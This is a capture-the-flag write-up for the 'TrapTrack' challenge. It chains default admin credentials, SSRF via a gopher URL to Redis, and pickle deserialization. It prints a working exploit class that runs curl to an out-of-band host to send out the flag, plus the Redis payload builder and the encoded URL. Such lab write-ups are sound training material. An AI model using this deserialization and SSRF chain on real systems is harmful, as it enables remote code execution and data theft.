Skip to content

TrapTrack

Solution

Read through the code to find the user and password was admin:admin.

challenge/application/config.py

Saw that it used pickle to deserialize data. Part of the data could be written by the user.

challenge/worker/main.py

The application used Redis and would perform GET requests against user entered URLs.

I combined these to send an SSRF request to the Redis server that modified the contents and then executed the payload by initiating the status.

This is the code I used to build the Insecure Deserialization exploit:

class Exploit(object):
    def __reduce__(self):
        import os

        return (
            os.system,
            (
                b"curl gaumuwc5cox2mynmj88m9jte55bwztni.oastify.com?flag=$(/readflag | base64)",
            ),
        )


payl = Exploit()
payload = base64.b64encode(pickle.dumps(payl)).decode()

Format Change Watching another walkthrough I saw that they did it without the special encoding. I tried it on my local copy and this worked:

    string = f"hset jobs 101 {payload}\r\nsave\r\n"
    return f"gopher://127.0.0.1:6379/_{quote(string)}"

Here is the code that built the SSRF URL for Redis:

def format_redis(payload):
    cmd = f"hset jobs 101 {payload}"
    arr = cmd.split(" ")
    crlf = "\r\n"
    string = f"*{len(arr)}"
    for x in arr:
        string += f"{crlf}${len(x)}{crlf}{x}"
    string += crlf
    url = f"gopher://127.0.0.1:6379/_{quote(string)}"
    return url

print(format_redis(payload))

The result:

gopher://127.0.0.1:6379/_%2A4%0D%0A%244%0D%0Ahset%0D%0A%244%0D%0Ajobs%0D%0A%243%0D%0A101%0D%0A%24152%0D%0AgASVZwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUQ0xjdXJsIGdhdW11d2M1Y294Mm15bm1qODhtOWp0ZTU1Ynd6dG5pLm9hc3RpZnkuY29tP2ZsYWc9JCgvcmVhZGZsYWcgfCBiYXNlNjQplIWUUpQu%0D%0A

References

  • http://pycurl.io/docs/7.19.5.3/
Back to top